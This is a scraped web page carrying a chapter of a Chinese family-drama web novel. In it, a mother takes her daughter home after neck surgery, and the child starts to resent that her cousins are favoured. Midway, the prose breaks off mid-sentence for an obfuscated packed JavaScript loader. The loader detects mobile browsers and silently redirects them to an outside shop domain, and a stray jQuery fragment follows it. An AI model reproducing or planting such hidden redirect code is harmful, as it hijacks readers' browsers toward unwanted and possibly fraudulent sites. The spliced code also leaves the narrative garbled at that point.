文趣网 > 都市小说 > 北往南渡 > 22. 结痂与萌芽
    拆线那天早晨,病房里的光线特别清亮。尧医生戴着无菌手套,手指灵巧得像在弹钢琴。他用一把细细的银色剪刀,轻轻剪断那根黑色的缝合线,再用镊子一根一根地夹出来。悠悠仰着脖子,有些紧张,但出乎意料地,真的不怎么疼,只有些微的牵拉感。

    “五针,”尧医生对着光仔细检查伤口,“愈合得不错。记住,结痂的地方绝对不能碰水,等痂自然脱落了才能洗澡。”

    西贝站在一旁,虽然作为赤脚医生,她对处理伤口、拆线这些流程再熟悉不过,但还是听得极其认真,不住地点头,仿佛这是她第一次听说这些注意事项。她心里清楚,拆线只是物理伤口的愈合,真正的康复期才刚刚开始。哮喘这个病就像潜伏在暗处的敌人,不会因为一次手术就彻底消失,它需要长期的、耐心的、时刻警惕的斗争。

    接过出院单时,西贝觉得手里那张纸有千斤重。这个月的全勤奖又没了,但没办法。双腿灌了铅似的沉,但也没办法。胸口像压着石头,连呼吸都费力,但也没办法。有那么一瞬间,她脑子里闪过一个念头——怨恨父母当初的决定,怨恨他们为何要撮合她与甘英嵘的婚姻,为何不让她听从自己内心的选择(那一年,片警,小陈,手风琴…)。可这念头刚冒出来,就被她自己掐灭了。恨也没办法,木已成舟。

    她想,要是悠悠以后能像别的孩子一样,健健康康,有各种发展的可能,该多好。可这念头更奢侈,像天边的云,看得见,摸不着。累,真的太累了。二妹西桦在北京,天高皇帝远;三妹西敏只知道自己高兴,根本靠不住;四弟西春倒是热心,可他自己还是个“玩气”大的,家里更有个斤斤计较的媳妇尹雅,能把自己家那摊子事捋顺就不错了。

    说起西春这媳妇尹雅,那真是个厉害角色。尹雅在家排行最小,上面有两个哥哥,父母兄长都把她当眼珠子疼,说是“宠”都不够,简直是“惯”。嫁到西家,那脾气也是一点没改。西春但凡在生活上有一丁点不如她意,比如工资交晚了,跟朋友多喝了两杯酒,那可不是小夫妻拌嘴那么简单。尹雅能立刻打电话回娘家搬救兵,不出半天,她那两个五大三粗的哥哥,有时甚至带着嫂子,就能气势汹汹地杀到永嘉路西林、孙兰老两口和西春、西敏同住的那个拥挤的三室户房子里来“评理”。

    说是评理,其实就是围攻。两个哥哥往那一站,嗓门洪亮,话里话外都是“老干部算什么,我妹妹嫁到你们家是下嫁”,“我妹妹在家里我们都没让她受过一点委屈”,“西春你什么意思?是不是欺负我们尹家没人?” 西春本就是个有点“玩气”、遇事想躲的主儿,面对这阵仗,常常是面红耳赤,有理也说不清,最后多半是低头认错,赌咒发誓下次不敢。老两口西林和孙兰看在眼里,气在心里,可又不敢真得罪亲家,更怕把事情闹大让邻居看笑话,只能强压着火气打圆场,说好话,心里却憋屈得不行。他们这当父母的,一辈子为儿女操心,到老了还得在小辈的争吵里受夹板气。尹雅和西春,还有西敏一家,挤在老两口的房子里,不说孝敬,能少给老人添点堵、少刮蹭点老人的退休金贴补他们小家的开销,孙兰和西林就要念阿弥陀佛了。可事实上,这几个成了家的子女,没一个真正让二老省心的,都是手心朝上、理所当然享受父母“倒贴”的主儿。

    三姐西敏,和这个弟媳妇尹雅,那更是针尖对麦芒,天生的冤家。西敏是个贪图享受、只顾自己快活的主儿,手里有点闲钱,宁可去买时兴的的确良衬衫、去新开的咖啡馆坐坐,也不愿多给家里添置点像样的吃用。尹雅则恰恰相反,是个会“过日子”的,但她的“会过”,是只对自己、对娘家大方,对婆家、对亲戚,那是能抠就抠,一分钱恨不得掰成八瓣花,占便宜没够,吃亏难受。两人一个虚荣享受,一个精明算计,互相都瞧不上眼。西敏嫌尹雅小气吧啦、算计到骨头缝里,没点“上海小姐”的派头;尹雅则鄙夷西敏大手大脚、只顾自己、不像个当妈的样子。两人在一个屋檐下,为了一点鸡毛蒜皮——比如厨房谁多用了点油,卫生间谁忘了冲水,晾衣服谁占了谁的地方,甚至今天谁在背后说了谁一句闲话——都能吵得天翻地覆。

    最大的一次冲突,闹得整个楼栋都不得安生。起因似乎只是一把韭菜,尹雅怀疑西敏偷拿了她买来准备包饺子的韭菜,西敏矢口否认,骂尹雅“神经病”、“穷疯了诬赖人”。两人从厨房吵到过道,从指桑骂槐到指着鼻子对骂,最后彻底撕破脸,动起了手。西敏扯着尹雅的头发,尹雅则用指甲在西敏脸上抓出了血道子。西敏尖声哭嚎着给西贝打电话:“大姐你快来!尹雅这个泼妇要杀人了!” 尹雅也不甘示弱,立刻打电话叫来了自己的两个哥哥。等西贝心急火燎地赶到永嘉路时,看到的就是这样一幅景象:狭窄的楼道里挤满了看热闹的邻居,屋里,尹雅的两个哥哥指着西敏的鼻子骂,西敏披头散发、脸上带伤,哭得声嘶力竭;尹雅也在哭,但更多是干嚎,头发乱了,衣服也扯歪了;西春缩在角落,脸色惨白,一句话也不敢说;而老父亲西林气得浑身发抖,老母亲孙兰在一旁急得直掉眼泪,劝谁都不是。好好的一个家,闹得如同市井菜场,毫无体面可言。最后还是西贝强压着心头的怒火和羞耻,好说歹说,又拉又劝,才勉强把双方暂时分开。事后,西敏和尹雅更是形同陌路,连表面功夫都懒得做了,家里整天低气压,老两口的日子更加难熬。

    在这样复杂混乱的家庭环境里,西春和尹雅的儿子西召,却像一颗被精心呵护的珍珠,在浑浊的泥潭里闪着格格不入的、被过度期待的光芒。西召从小生得白净,大眼睛,长睫毛,鼻梁挺直,嘴唇红润,确实比一般孩子更精致些,尤其是幼时,头发微微有些卷曲,皮肤白皙,乍一看真有几分像年画上的外国娃娃。这可成了尹雅最大的骄傲和谈资。从西召还在襁褓里开始,尹雅就逢人便夸,说儿子是“电影明星的脸”、“天生当演员的料”,那笃定和自豪的劲儿,仿佛儿子明天就能上挂历、拍广告。这份“星妈”的执念,竟与西敏对女儿韩璐的“艺术苗子”期待不谋而合,只不过韩璐的美更偏向于甜美娇憨,而西召则被尹雅吹捧得带了些不切实际的、洋气的高级感。

    尹雅自己是社区卫生服务中心超声科的医生,有正式编制,这份体面的工作让她在“培养”儿子上更有底气和“远见”。她坚信儿子不能输在起跑线上,更确切地说,是不能输在她所设想的、星光熠熠的“终点线”上。西召刚上幼儿园没多久,就被她送去少年宫,学唱歌、学跳舞、学朗诵,凡是能展示、能“露脸”的才艺班,恨不得都给儿子报上。每次少年宫有汇报演出,尹雅总是最积极的那个,早早给西召置办行头,把他打扮得像个真正的“小童星”,然后拉着西林、孙兰,甚至西贝等一干亲戚去捧场。西召在台上表演,尹雅在台下比谁都激动,眼神里闪烁的光芒,仿佛已经看到儿子站在了更大的舞台上。

    西林和孙兰本就疼爱这个唯一的孙子(韩璐毕竟是外孙女),再加上西召确实生得玉雪可爱,嘴巴又甜,小小年纪就深谙“看人下菜碟”之道,知道在谁面前说什么话最能讨人欢心。他会抱着孙兰的腿,奶声奶气地说“奶奶做的饭全世界最好吃”;会在西林看报纸时,凑过去指着上面的字,用夸张的语调说“爷爷认识这么多字,好厉害呀”;会在拿到礼物时,第一时间扑到给礼物的人怀里,甜甜地说“谢谢,我最喜欢你了”。这种与年龄不符的、被刻意训练或耳濡目染而来的“会来事”、“会说话”,更是让两位本就有些重男轻女、又对隔辈人无原则宠溺的老人心花怒放,觉得这孙子简直是天底下最聪明、最懂事、最招人疼的孩子。

    于是,溺爱便毫无节制地降临在西召身上。只要西召开口,哪怕是天上的星星,老两口恐怕都会想办法去摘。想吃进口巧克力?买!想要最新的变形金刚玩具?买!看中了别的小朋友身上穿的名牌小夹克?也买!尹雅和西春对儿子的要求更是有求必应,甚至主动迎合他那被不断抬高的物质欲望和虚荣心。西春自己没什么大本事,但在“满足儿子、讨好老婆”这件事上向来不遗余力。尹雅更是将儿子视为自己未来荣耀的载体,觉得儿子的一切要求都是合理的,都是为了“培养气质”、“开拓眼界”。

    这份溺爱的源头,甚至可以追溯到西春和尹雅刚结婚那会儿,埋下了一个让西林至今耿耿于怀、却又无法言说的祸根。那时西林还在位,手握一些实权。西春和尹雅新婚不久,小两口看上了一台时下最时髦的收录一体机,价格不菲。正巧,西林的一位老部下老曲有事相求,几次登门,西林都因原则问题没有答应。老曲不知从哪里知道了西春想要收录机的事,竟另辟蹊径,直接搬了一台崭新的、用彩纸包装好的收录一体机送到西家,说是“给西春的新婚贺礼”,绝口不提请托之事。西春和尹雅见猎心喜,尤其是尹雅,觉得脸上有光,不顾西林的犹豫和反对,软磨硬泡,最终收下了这份“礼物”。西林心里清楚这不合规矩,但碍于儿子的恳求和儿媳的撺掇,又觉得或许真是老部下的一片心意,一时糊涂,也就默许了。谁知没过多久,事情就被人捅了出来,西林被调查,虽然最终查明他并未在公事上给予老曲方便,但“收受下属贵重物品”的罪名是坐实了,为此,他从一个前途看好的正级领导,被降为了副级,提前进入了半赋闲状态。这件事成了西林心里一道过不去的坎,是“晚节不保”的污点,更是对儿子、儿媳虚荣短视的痛心与无奈。可讽刺的是,这份用他政治前途换来的教训,似乎并未让西春和尹雅真正醒悟。他们或许愧疚过,但很快就被日常生活的算计和儿子的“需求”所淹没。如今面对西召层出不穷的要求,西林和孙兰依然如故,甚至变本加厉,仿佛想用无限制的物质满足,来弥补对儿子曾经的某种亏欠,或者,仅仅是因为对孙子那份毫无理性的宠爱,已经让他们失去了基本的判断和原则。他们从未想过,这份毫无节制的溺爱,最终会结出怎样的果实。

    想到这些,再想到自己家里那个沉默寡言、与自己日渐疏远的丈夫,还有病弱敏感、刚刚动完手术、未来一片迷茫的女儿,西贝心里那点因鲁志军接出院而带来的短暂暖意,迅速被更深的疲惫和无奈所覆盖。自己的小家已经是一地鸡毛,娘家那边更是乌烟瘴气,没一个省油的灯。她有时候真想找个没人的地方大喊几声,或者干脆一走了之。可看着身边病弱的悠悠,看着这个虽然千疮百孔但毕竟还是“家”的地方,她只能把所有的苦楚、烦闷、委屈,连同对父母当初安排婚事那一点点不敢深想的怨恨,一起咽回肚子里,继续硬着头皮,一天天往前捱。

    还能怎么办呢?只能咬着牙,继续往前捱。

    悠悠那天出院的时候,来接她们出院的是鲁志军。他开着一辆崭新的红色桑塔纳出租车,停在医院门口,在九十年代初的上海街头很是显眼。看到西贝提着大包小包、牵着悠悠走出来,他立刻从驾驶座跳下来,三步并作两步迎上去。

    “西贝,悠悠,这边!”他咧开嘴笑,露出一口被烟熏得微黄的牙齿,但笑容是真诚的、热络的。他不由分说接过西贝手里最重的那个行李包,又弯腰看着悠悠,声音不自觉地放软,“哎哟,我们悠悠小公主出院啦?看看这小脸,还是肉呼呼的嘛。鲁叔叔今天当你的专车司机,送你回家,高不高兴?”

    悠悠原本因为离开熟悉的环境和温柔的护士阿姨而有些蔫蔫的,看到鲁志军,眼睛瞬间亮了,脆生生地喊:“鲁叔叔!” 下意识地就想像以前那样扑过去抱他的腿,但脖子上的纱布提醒了她,她只是站在原地,仰着小脸,笑得露出了豁牙。

    西贝心里一暖,同时又有些复杂的情绪翻涌上来。鲁志军是厂里的老师傅了,技术过硬,为人也豪爽。这些年厂子重组,不少人下了岗,他眼疾手快,直接买断了工龄,用积蓄和借来的钱,买了这辆出租车,自己单干。听说生意还不错,虽然辛苦,但比在厂里拿死工资强多了。他人也念旧,听说悠悠动手术住院,特意打听了出院时间,主动提出来接。

    “太麻烦你了,小鲁。”西贝把悠悠抱上车后座,自己坐在副驾驶,语气里满是感激,“这么忙还跑一趟。”

    “西贝你这话就见外了。”鲁志军发动车子,熟练地汇入车流,从后视镜里看了眼正扒着车窗好奇张望的悠悠,眼神柔和了一瞬,随即转向西贝,压低了些声音,“悠悠也是我看着长大的,跟我自己闺女差不多。她做这么大手术,我能不来吗?孩子遭罪,你们做大人的更辛苦。”

    这话说到了西贝心坎里。这段时间的煎熬、疲惫、无人诉说的压力,被这简单的一句话勾了起来,鼻子一酸,她赶紧别过脸看向窗外。

    车里沉默了一会儿,只有发动机的轰鸣和窗外的市声。鲁志军从储物格里摸出一盒“大前门”,抽出一支叼在嘴上,想起什么,又拿下来,歉意地笑笑:“忘了,不能抽,悠悠不能闻烟味。” 他把烟放回去,手指在方向盘上无意识地敲了敲。

    “西贝,”他再次开口,声音比刚才更沉了些,眼睛看着前方,语气却带着试探,“你这段时间,一个人扛着,不容易吧?甘……甘工他,厂里也忙?”

    西贝心里“咯噔”一下。她知道鲁志军想说什么。这不是第一次了。几年前,鲁志军的妻子因为一些家庭琐事闹得厉害,他喝多了酒,曾红着眼睛对她说过类似的话:“西贝,要是当初……唉,不说了。要是你现在过得不好,我……我这边,随时可以……”

    那时西贝就明确地、几乎是慌乱地拒绝了。怎么可能呢?他有家庭,有孩子,她也有家庭,有悠悠。两个完整的家庭,怎么可能因为“过得不好”就轻易拆散重组?那要背负多少骂名,承受多少压力?更何况,她对鲁志军,从来就只有朋友、同事的情谊,感激他的关照,欣赏他的爽快能干,但绝无半分男女之间的旖念。她身上已经压了够多的担子,父母、丈夫、孩子、工作、悠悠的病……任何一点点额外的、可能招致非议和动荡的压力,她都承受不起,也绝不愿意沾染。

    “他还行,厂里最近任务重。”西贝含糊地应了一句,迅速转移了话题,“你这车不错,自己开,比在厂里自由吧?”

    鲁志军听出了她的回避,眼里闪过一丝失落,但很快掩饰过去,顺着她的话头聊起了开出租的酸甜苦辣。说路上遇到的奇葩客人,说一天开十几个小时的腰酸背痛,也说收入确实比厂里强,能给孩子好一点的条件。

    悠悠在后座安静地听着。她喜欢鲁叔叔。鲁叔叔会给她买那种会眨眼睛的洋娃娃,买五颜六色的水果硬糖,会用他粗壮的手臂把她高高举过头顶“坐飞机”,会学各种小动物的叫声逗她笑。每次鲁叔叔来家里(虽然次数不多),或者在外面碰见,爸爸总是沉默地站在一旁,而她会毫不犹豫地、欢笑着扑向鲁叔叔。在孩童最直观的感受里,鲁叔叔代表着新奇、礼物、纵容和毫不掩饰的喜爱;而爸爸……爸爸更像一个沉默的背景。

    可是现在,脖子上的伤口还在隐隐作痒,坐在车里的悠悠,看着妈妈略显僵直的背影,听着鲁叔叔和妈妈之间那种她不太懂、但能感觉到有些不一样的对话,心里忽然冒出一种奇怪的感觉。她好像能“听懂”更多了。不是字面的意思,而是字面之下,那些大人没有说出口的情绪。妈妈声音里的疲惫和谨慎,鲁叔叔语气里藏着的关心和……别的什么。

    车子在家属院门口停下。鲁志军帮着把东西提上楼,在门口就止步了。“西贝,我就不进去了,车上还挂着‘空车’牌呢,得去跑活了。” 他蹲下身,摸了摸悠悠的头顶,动作很轻,避开了她脖子上的纱布,“悠悠,好好养着,听妈妈的话。等你好利索了,鲁叔叔带你去外滩看大轮船,好不好?”

    “好!”悠悠用力点头。

    鲁志军又看了西贝一眼,那眼神里有太多内容,最后只化作一句:“西贝,有事……有事就捎个话,别自己硬扛。”

    送走鲁志军,关上门,屋子恢复了寂静。熟悉的、略

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621388|206185||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    显陈旧的家,消毒水的气味还未散尽,混合着灰尘的味道。西贝开始忙碌地归置东西,收拾从医院带回来的瓶瓶罐罐、药和病历。悠悠坐在自己的小床上,看着妈妈忙碌的背影,脑子里却像有一台悄悄启动的放映机,不受控制地闪过一些画面。

    她记起来了。在外婆家,那架摆在客厅角落的、黑色的、带着好些黑白键的“大玩具”——表姐易蕾的电子琴。她记得那琴键按下去会发出好听的声音,有的高,有的低。她记得有一次,易蕾表姐不在,韩璐大表姐坐在另一处琴凳上(韩璐大表姐有自己的电子琴),手指在琴键上笨拙地按着,发出不成调的“叮叮咚咚”。她就在旁边看着,听着。

    后来,等韩璐也玩腻跑开了,她悄悄爬到了易蕾表姐的电子琴上去,学着韩璐的样子,伸出右手一根手指,试探地按下一个白键。“哆——”一个清亮的声音。她又按了旁边一个。“来——” 她记得韩璐刚才按的顺序,好像是“哆、来、咪、发、嗦……” 她试着用一根手指,一个键一个键地按下去,断断续续,但音高是对的。来回按了几次,她居然能用一根手指,磕磕绊绊地弹出“小星星”开头的几个音了!

    小姨夫韩杰正好从旁边经过,惊讶地停下脚步,听了一会儿,然后笑着大声说:“哎哟,我们悠悠是‘魔童’啊?听几次就会弹了?了不起了不起!”

    她当时心里可得意了,小胸脯挺得高高的,还想再试试别的。可就在这时,妈妈西贝从厨房出来了,看到她在弹琴,脸色微微一变,快步走过来,拉住她的手,声音不大,但很严肃:“悠悠,别碰表姐的电子琴。这是二阿姨买给易蕾的,很贵的,弄坏了不好。”

    她当时就蔫了,被妈妈从琴凳上抱下来。心里那点小小的得意和欢喜,像被针扎破的气球,“噗”地一下就没了。她不懂,为什么表姐们都有电子琴,都可以随便弹,她就不行?为什么小姨夫夸她“魔童”,妈妈却不高兴?

    还有新衣服。每次她过生日,或者过年,妈妈总会给她准备新衣服。那些衣服真好看,有时是带蕾丝花边的小裙子,有时是绣着小动物的毛衣,跟商店里卖的好像不太一样,更合身,料子摸上去也舒服。她记得妈妈有时会带她去一个有很多“阿姨”的地方,那些阿姨在很大的桌子前,用发出“嗒嗒嗒”响声的机器做衣服。妈妈会拿着布在她们身上比划,跟阿姨们商量样子。那些衣服,很多都是“独一份”的,是妈妈在厂里的技术科托朋友帮忙裁剪的,或者是去服装公司找认识的人“内部”买的处理布头、零料,再请人加工的。在物质还不那么丰富的年头,这样的衣服是很珍贵的。

    可是,她不止一次地发现,妈妈总会做两件一模一样的。一件给她,另一件,叠得整整齐齐,用漂亮的纸包好,等到去外婆家时,送给表姐易蕾。

    为什么?她曾经懵懂地问过。妈妈一边给她试新衣服,一边语气平常地说:“易蕾姐姐的爸爸妈妈都在北京,离得远,不能常常给她买新衣服。她跟着外公外婆住,我们多给她一点关心,是应该的。”

    她当时“哦”了一声,好像懂了,又好像没懂。只是心里有点小小的、说不出的别扭。那是我的新衣服,妈妈给我做的,为什么易蕾姐姐也有一件一模一样的?易蕾姐姐明明有外公外婆疼,有韩璐、西春表姐表弟一起玩,她还有北京那么远的爸爸妈妈(虽然不常见,但听起来就很厉害),为什么还要分走我妈妈对我的爱,我妈妈给我做的新衣服?

    现在,脖子上的伤口在隐隐作痒,那些记忆的碎片却越来越清晰。她一个人在家,面对着四面白墙,给不会说话的娃娃“打针”的时候,易蕾在做什么?大概正和韩璐、西召在外婆家的弄堂里跑来跑去,玩着跳房子或者拍洋画吧?她哮喘发作,半夜咳得喘不过气,妈妈抱着她急得掉眼泪的时候,易蕾大概正躺在外婆铺的柔软被窝里,听着外婆讲的睡前故事,安然入睡吧?她因为生病不能上幼儿园,只能孤零零待在家里,一个人看着阳光从窗户这边移到那边的时候,易蕾大概正在幼儿园里,和很多小朋友一起唱歌、做游戏吧?而那个备受宠爱的西召表弟,大概正被外公外婆、爸爸妈妈、舅舅阿姨们众星捧月,想要什么就有什么,少年宫的课程排得满满的,被所有人夸赞着“有明星相”吧?

    到底谁更可怜?谁更需要“多给一点关心”?

    这个问题像一颗小小的种子,以前模糊地存在,现在,随着手术后某种感知的苏醒,它开始破土,带着尖锐的芽。不公平。这三个字,以前她或许不会形容,但现在,她真切地感受到了。命运,好像从一开始,就没有公平地对待她和易蕾表姐,更没有公平地对待她和西召表弟。不,或许是没有公平地对待“需要被关爱”的孩子。

    她看着妈妈在小小的厨房和卧室之间忙碌穿梭的背影,那背影因为劳累而有些佝偻。妈妈把所有的精力和关爱,有时候似乎都分成了两半,甚至更多的一半,给了那个看起来什么都不缺的表姐。而自己这个真正的、病弱的、几乎是她全部负累的女儿,得到的,反而是更严厉的管教(“别碰易蕾的琴”)、更苛刻的要求(“要懂事”),和必须分享的、本应独一无二的新衣服。

    一种迟来的、混合着委屈、不解和隐隐愤怒的情绪,像潮水般漫上心头。她为什么现在才这么清楚地意识到?为什么以前只是觉得有点不舒服,却说不出来是为什么?

    是不是因为,以前那些不开心,都被“生病”这件更大、更迫近的事情压住了?或者,因为她以前“记不住”?而现在,手术之后,那些被删除的、模糊的感受,正在疯狂地“存档”,变得清晰、具体,带着鲜明的情绪色彩。

    她低下头,看着脖子上纱布覆盖的地方传来微微的刺痛和痒。她忽然很想知道,如果易蕾表姐也生了很重很重的病,也要在脖子上开一刀,妈妈还会不会除了新衣服以外,把所有的爱也分给易蕾?如果西召表弟不是那么“有明星相”,不是那么会说话讨人喜欢,外公外婆还会不会那样毫无原则地溺爱他?会不会偶尔会来自己家里关心下自己?

    这个念头让她自己打了个寒颤。她不敢再想下去。

    窗外的天色渐渐暗下来。妈妈做好了简单的晚饭,招呼她过去吃。依旧是熬得稠稠的白粥,一小碟酱瓜。妈妈把粥吹凉,一勺一勺喂她,眼神里满是温柔和疲惫。

    悠悠乖乖地张嘴,吃着,眼睛却看着妈妈眼角新添的细纹,看着她端起碗自己喝粥时,那快速而疲惫的吞咽动作。心里那点刚刚萌芽的委屈和不满,忽然被另一种更汹涌的东西压了下去——那是心疼,还有更深、更无奈的困惑。

    妈妈也很累,很辛苦。她知道。可是……可是为什么,妈妈的辛苦,好像并没有全部换来她想象中的、毫无保留的、独一无二的偏爱呢?而外公外婆对西召表弟那种毫无原则的、几乎是要星星不给月亮的溺爱,最终又会换来什么呢?是会让他真的成为“明星”,还是别的什么?她小小的心灵还无法理解“溺爱毁人”这样深刻的道理,但她本能地感觉到,那种氛围,和妈妈对自己时而严厉、时而无奈、总是掺杂着对易蕾表姐额外关注的态度,是那么的不同。

    粥吃完了。西贝收拾碗筷,打开水龙头,哗哗的水声响起。悠悠坐在小椅子上,看着妈妈忙碌的背影,小手无意识地摸着脖子上纱布的边缘。

    记忆在储存,在叠加。那些好的,坏的,温暖的,冰凉的,公平的,不公平的,被宠爱的,被忽略的……像无数细微的尘埃,缓缓落下,堆积在她刚刚开始清晰起来的世界里,形成最初的、混沌的、充满疑问的地貌。

    她知道,有些东西不一样了。从脖子上拆掉那五针线开始,有些看不见的东西,也在悄然愈合,或者……悄然撕裂。而更多的,正在生长出来,带着疑惑的尖刺,和探寻的触角。她开始用一种新的、更清晰也更疼痛的目光,重新审视她所身处的这个世界,以及这个世界里,那些复杂难言的爱与失落。